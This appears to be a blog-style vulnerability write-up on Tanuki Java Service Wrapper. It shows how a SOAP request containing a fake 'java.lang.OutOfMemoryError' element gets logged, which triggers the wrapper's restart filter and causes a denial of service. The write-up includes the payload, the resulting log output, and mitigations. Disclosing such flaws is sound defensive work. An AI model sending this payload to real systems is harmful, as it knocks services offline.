Process restart / Denial of Service by logfile injection on Tanuki Software Java Service Wrapper filter action

Recently, when I played with logfile injection, I found a nice catch in the filter action of Tanuki Software’s Java Service wrapper when OutOfMemoryError Detection is used.

The simplest way to do this is as follows:
Example:
wrapper.filter.trigger.1=java.lang.OutOfMemoryError
wrapper.filter.action.1=RESTART

This sample configuration might also be used in the production environment?

We just need to send a payload that will be propagate to the wrapper.log file at runtime. In my case, I addressed a Soap IF and created a request with errors to cause an unmarshalling error.

Build a faulty SOAP request that ensures that the string java.lang.OutOfMemoryError is written in the log file, I added the non existing “java.lang.OutOfMemoryError” element to the namespace:

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:ns2=......>
   <soap:Header/>
   <soap:Body>
      <ns2:SoapOperation>
		.....
        <ns2:validElement><ns2:java.lang.OutOfMemoryError>Inject Me</ns2:java.lang.OutOfMemoryError></ns2:validElement>
		.....
      </ns2:SoapOperation>
   </soap:Body>
</soap:Envelope>

The goal is achieved, the false positive leads to the process restart:

INFO   | jvm 1    | 2019/08/21 13:38:13 | DefaultValidationEventHandler: [ERROR]: unexpected element (........., local:"java.lang.OutOfMemoryError"). Expected elements are (none)
STATUS | wrapper  | 2019/08/21 13:38:13 | The JVM has run out of memory.  Restarting JVM.

Mitigation:

  • do not use this special filter action
  • or the application needs to catch such exceptions, otherwise it will be visible in wrapper.log

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Written on August 29, 2019 | Last modified on August 29, 2019